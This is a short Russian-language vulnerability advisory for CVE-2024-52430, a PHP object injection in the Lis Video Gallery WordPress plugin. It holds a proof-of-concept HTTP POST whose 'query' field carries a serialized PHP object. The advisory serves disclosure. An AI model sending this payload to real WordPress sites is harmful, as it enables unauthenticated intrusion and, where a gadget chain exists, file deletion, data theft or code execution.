CVE-2024-52430

Lis Video Gallery <= 0.2.1 - Неаутентифицированная инъекция PHP-объектов

Описание

Плагин Lis Video Gallery для WordPress уязвим к инъекции PHP-объектов в версиях до 0.2.1 включительно через десериализацию недоверенных входных данных. Это позволяет неаутентифицированным атакующим внедрять PHP-объект. В уязвимом программном обеспечении отсутствует известная POP-цепочка. Если POP-цепочка присутствует через дополнительный плагин или тему, установленные в целевой системе, это может позволить атакующему удалять произвольные файлы, извлекать конфиденциальные данные или выполнять код.

CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1

PHP object injection has occurred.